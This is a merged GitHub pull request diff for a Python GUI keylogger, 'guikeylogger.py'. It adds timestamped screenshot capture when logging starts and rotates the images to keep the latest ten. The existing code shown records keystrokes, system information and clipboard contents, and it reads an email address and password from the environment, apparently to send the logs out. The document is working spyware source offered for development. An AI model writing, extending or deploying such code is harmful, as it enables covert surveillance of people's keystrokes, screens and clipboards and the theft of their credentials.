Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion app/.gitignore
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
.env
data/*.txt
data/*.png
data/*.png
data/screenshots
37 changes: 35 additions & 2 deletions app/guikeylogger.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,9 @@
from dotenv import load_dotenv
from pynput.keyboard import Listener

import glob
from datetime import datetime

# Load environment variables
load_dotenv()

Expand All @@ -30,14 +33,14 @@
keys_information = "data/key_log.txt"
system_information = "data/systeminfo.txt"
clipboard_information = "data/clipboard.txt"
screenshot_information = "data/screenshot.png"
SCREENSHOT_DIR="data/screenshots"

# Retrieve email and password from environment variables
email_address = os.getenv('email')
password = os.getenv('pass')

# Global variables for email sending
toAddr = ""
toAddr = ""
state = 0
stopFlag = False

Expand Down Expand Up @@ -109,9 +112,38 @@ def copy_clipboard():

# Function to take screenshot
def screenshot():
os.makedirs(SCREENSHOT_DIR, exist_ok=True)

timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")

screenshot_information = os.path.join(SCREENSHOT_DIR, f"screenshot_{timestamp}.png")

im = ImageGrab.grab()
im.save(screenshot_information)

print(f"Saved screenshot: {screenshot_information}")
limit_screenshots(SCREENSHOT_DIR, keep=10)



def limit_screenshots(directory, keep=10):

"""Delete old screenshots if more than 'keep' exist."""

screenshots = sorted(
glob.glob(os.path.join(directory, "*.png")),
key=os.path.getmtime
)

if len(screenshots) > keep:
for old_file in screenshots[:-keep]:
try:
os.remove(old_file)
print(f"Deleted old screenshot: {old_file}")
except Exception as e:
print(f"Error deleting {old_file}: {e}")



# Global variables for key logging
count = 0
Expand Down Expand Up @@ -146,6 +178,7 @@ def start_logger():
count = 900
listener.start()
btnStr.set("Stop Keylogger")
screenshot()
while True:
print(count)
if stopFlag:
Expand Down
Loading